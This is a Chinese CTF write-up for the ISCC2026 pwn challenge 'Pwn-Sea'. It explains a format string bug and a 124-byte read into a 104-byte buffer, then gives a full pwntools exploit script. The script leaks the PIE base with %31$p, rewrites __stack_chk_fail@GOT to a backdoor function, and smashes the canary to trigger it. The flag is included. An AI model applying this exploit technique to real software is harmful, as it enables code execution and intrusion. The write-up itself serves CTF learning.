Pwn-Sea

ISCC2026 WriteUp 提交模板

Pwn-Sea

你是一名航天局的紧急维护专家,负责的 “寂静之海” 深空探测器在穿越小行星带时受到严重损伤,导致主要通信链路彻底瘫痪。你现在仅能通过一条紧急诊断链路向探测器发送指令。
探测器的紧急维护固件中包含一个后门,它的作用是重启通信模块,你需要在有限机会内,准确找到后门,恢复探测器通信。
题目地址:39.96.193.120:10009

解题思路

1 进入main函数,后看- process_emergency_command函数
image.png
有两个漏洞:

  1. printf(buf) 格式化字符串漏洞。
  2. buf 只有 104 字节,但 read 读了 0x7c == 124 字节,可以覆盖到 canary。

其次还有个后门函数:

image.png

看下保护:

image.png

有PIE

先测试下格式化偏移,发现是8,且 %31$p 可以泄露 main 的真实地址

def fmt_attack():
    ru(b'> ')
    fmt = b'-'.join([f'%{i}$p'.encode() for i in range(1, 31)]) #%i$p:格式化字符串泄露第 i 个参数的地址
    sl(fmt)
    print(io.recvrepeat(1).decode('latin-1', errors='replace'))
    io.close()

发现%31$p泄露低地址刚好等于main = 0x13cc低字节。
所以有思路:

  • 第一次输入:%31$p\x00
  • 解析泄露值,计算 pie_base = main_leak - elf.symbols["main"]
  • 再算出:
    • __stack_chk_fail@got = pie_base + elf.got["__stack_chk_fail"]
    • backdoor = pie_base + elf.symbols["system_reboot_comms"]

第二次输入用格式化字符串把 __stack_chk_fail@GOT 改成后门地址。随后把整个 payload 补到 124 字节,故意覆盖 canary。
这样就会触发我们修改的__stack_chk_fail@got执行system_reboot_comms。

image.png

ISCC{62d0908f-196e-4fdf-8a42-9c14e56a7347}

Exp

from pwn import *
import os
import re
import sys

# ==============全局配置=======================
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
ELFpath = os.path.join(BASE_DIR, "sea")
LOCAL = False
HOST = "39.96.193.120"
PORT = 10009
NOASLR = False

# ===============初始化========================
context(os="linux", arch="amd64", log_level="debug")
if LOCAL:
    io = process(ELFpath, aslr=not NOASLR)
else:
    io = remote(HOST, PORT)
# gdb.attach(io)
elf = ELF(ELFpath, checksec=False)

# =================简化======================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)

# ====================业务常量====================
FMT_OFFSET = 8
OVERFLOW_LEN = 124

# ================工具函数====================
def debug():
    input()
    gdb.attach(io)


def get_flag_blob(blob):
    match = re.search(rb"ISCC\{[^}\r\n]+\}", blob)
    return match.group(0).decode() if match else None


def attack():
    ru(b"> ")

    # 先泄露 main 的实际地址,算出 PIE 基址。
    sd(b"%31$p\x00")
    leak = ru(b"> ")
    match = re.search(rb"0x([0-9a-fA-F]+)", leak)
    if not match:
        raise ValueError(f"failed to parse leak: {leak!r}")

    main_leak = int(match.group(1), 16)
    pie_base = main_leak - elf.symbols["main"]
    stack_chk_fail_got = pie_base + elf.got["__stack_chk_fail"]
    backdoor = pie_base + elf.symbols["system_reboot_comms"]

    log.info(f"main leak            = {main_leak:#x}")
    log.info(f"PIE base             = {pie_base:#x}")
    log.info(f"__stack_chk_fail@got = {stack_chk_fail_got:#x}")
    log.info(f"backdoor             = {backdoor:#x}")

    # 改写 __stack_chk_fail@GOT 到后门,再故意破坏 canary 触发后门。
    payload = fmtstr_payload(FMT_OFFSET, {stack_chk_fail_got: backdoor}, write_size="short")
    payload = payload.ljust(OVERFLOW_LEN, b"A")
    sd(payload)

    result = io.recvrepeat(2)
    flag = get_flag_blob(result)
    if flag:
        print(flag)
    else:
        sys.stdout.buffer.write(result)
        if not result.endswith(b"\n"):
            sys.stdout.buffer.write(b"\n")


# ============实现========================
attack()
io.close()

posted @ 2026-05-19 16:29  MillionMind  阅读(14)  评论(0)    收藏  举报